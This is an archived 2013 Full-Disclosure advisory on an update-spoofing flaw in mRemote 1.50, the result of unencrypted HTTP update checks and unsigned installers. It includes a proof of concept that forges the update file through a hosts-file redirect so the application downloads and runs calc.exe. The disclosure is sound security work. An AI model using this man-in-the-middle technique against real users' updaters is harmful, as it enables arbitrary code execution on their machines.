full-disclosure - [waraxe-2013-SA#100] - Update Spoofing Vulnerability in mRemote 1.50

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <1364558883.80969.YahooMailNeo@web125604.mail.ne1.yahoo.com>
Date: Fri, 29 Mar 2013 05:08:03 -0700 (PDT)
From: Janek Vind <come2waraxe@...oo.com>
To: "full-disclosure@...ts.grok.org.uk" <full-disclosure@...ts.grok.org.uk>
Subject: [waraxe-2013-SA#100] - Update Spoofing
	Vulnerability in mRemote 1.50

[waraxe-2013-SA#100] - Update Spoofing Vulnerability in mRemote 1.50
===============================================================================

Author: Janek Vind "waraxe"
Date: 29. March 2013
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-100.html

Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

mRemote is a software solution that will allow you to manage all your remote
control connections in a single place. Currently it supports the RDP, VNC,
SSH2 and Telnet protocols.

http://www.royalts.com/main/home/mRemote.aspx
http://mremote-portable.softpile.com/58492/download/

Vulnerable is version 1.50, other versions not tested.

###############################################################################
1. Update Spoofing Vulnerability
###############################################################################

Current version of mRemote contains security vulnerability in update mechanism,
which can be exploited by malicious people to conduct spoofing attacks.

When checking for updates, mRemote issues GET request over HTTP:

GET /mRemote_Update.txt HTTP/1.1
Host: update.mremote.org
Connection: Keep-Alive

Server response:

HTTP/1.1 200 OK
Content-Length: 284
Content-Type: text/plain
Last-Modified: Wed, 22 Apr 2009 18:29:48 GMT
Accept-Ranges: bytes
ETag: "16cc425178c3c91:1e75"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 28 Mar 2013 14:03:07 GMT

Version: 1.50
dURL: http://www.mremote.org/wiki/GetFile.aspx?File=Downloads/mRemote_1.50_Setup.exe
clURL: http://update.mRemote.org/mRemote_1.50_ChangeLog.txt
imgURL: http://update.mRemote.org/banners/Banner_vRD09.png
imgURLLink: http://www.visionapp.com/vRD2009-highlights.html

mRemote user can click "Download and Install" button and mRemote
will download and install the update.

Such update mechanism contains two security flaws:

1. Update check is done over unencrypted HTTP channel. Malicious third party
is able to conduct Man-in-the-Middle (MitM) attacks and spoof server response.
In this way it is possible to instruct mRemote to download malicious update.

2. mRemote will execute downloaded update without digital signature
verification.

Testing: tests were done using Windows 7 and Apache webserver. Steps:

1. modify "windows/system32/drivers/etc/hosts" file in order to emulate
DNS spoofing:  127.0.0.1 update.mremote.org

2. create text file "mRemote_Update.txt" to the webserver main directory
with following content:

Version: 1.51
dURL: http://localhost/calc.exe
clURL: http://localhost/mRemote_1.51_ChangeLog.txt
imgURL: http://update.mRemote.org/banners/Banner_vRD09.png
imgURLLink: http://www.visionapp.com/vRD2009-highlights.html

3. create text file "mRemote_1.51_ChangeLog.txt" to the webserver main
directory with following content:

New version 1.51 available!

4. Place "calc_EN.exe" file to the webserver main directory.

5. Open mRemote, it will check for updates automatically.

Response: New version 1.51 available!

6. Press "Download and Install" button. Successful download ends with response:

Download complete! mRemote will now quit and begin with the installation.

7. Press "OK" button and downloaded exe file will be executed.

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@...oo.com
Janek Vind "waraxe"

Waraxe forum:  http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------
Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/